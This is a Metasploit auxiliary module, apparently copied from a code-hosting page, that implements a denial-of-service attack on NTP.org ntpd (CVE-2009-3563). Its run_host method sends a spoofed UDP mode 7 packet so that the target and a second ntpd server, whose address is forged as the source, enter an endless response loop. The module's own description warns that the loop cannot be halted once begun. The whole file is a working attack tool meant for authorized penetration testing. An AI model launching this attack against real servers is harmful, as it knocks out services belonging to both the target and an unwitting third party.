65 lines
1.8 KiB
Ruby
65 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Capture
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NTP.org ntpd Reserved Mode Denial of Service',
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'Description' => %q{
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This module exploits a denial of service vulnerability
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within the NTP (network time protocol) demon. By sending
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a single packet to a vulnerable ntpd server (Victim A),
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spoofed from the IP address of another vulnerable ntpd server
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(Victim B), both victims will enter an infinite response loop.
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Note, unless you control the spoofed source host or the real
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remote host(s), you will not be able to halt the DoS condition
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once begun!
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},
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'Author' => [ 'todb' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'BID', '37255' ],
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[ 'CVE', '2009-3563' ],
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[ 'OSVDB', '60847' ],
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[ 'URL', 'https://support.ntp.org/bugs/show_bug.cgi?id=1331' ]
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],
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'DisclosureDate' => 'Oct 04 2009'))
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register_options(
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[
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OptAddress.new('LHOST', [true, "The spoofed address of a vulnerable ntpd server" ])
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], self.class)
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deregister_options('FILTER','PCAPFILE')
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end
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def run_host(ip)
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open_pcap
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print_status("Sending a mode 7 packet to host #{ip} from #{datastore['LHOST']}")
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p = PacketFu::UDPPacket.new
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p.ip_saddr = datastore['LHOST']
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p.ip_daddr = ip
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p.ip_ttl = 255
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p.udp_src = 123
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p.udp_dst = 123
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p.payload = ["\x17", "\x97\x00\x00\x00"][rand(2)]
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p.recalc
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capture_sendto(p,ip)
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close_pcap
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end
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end
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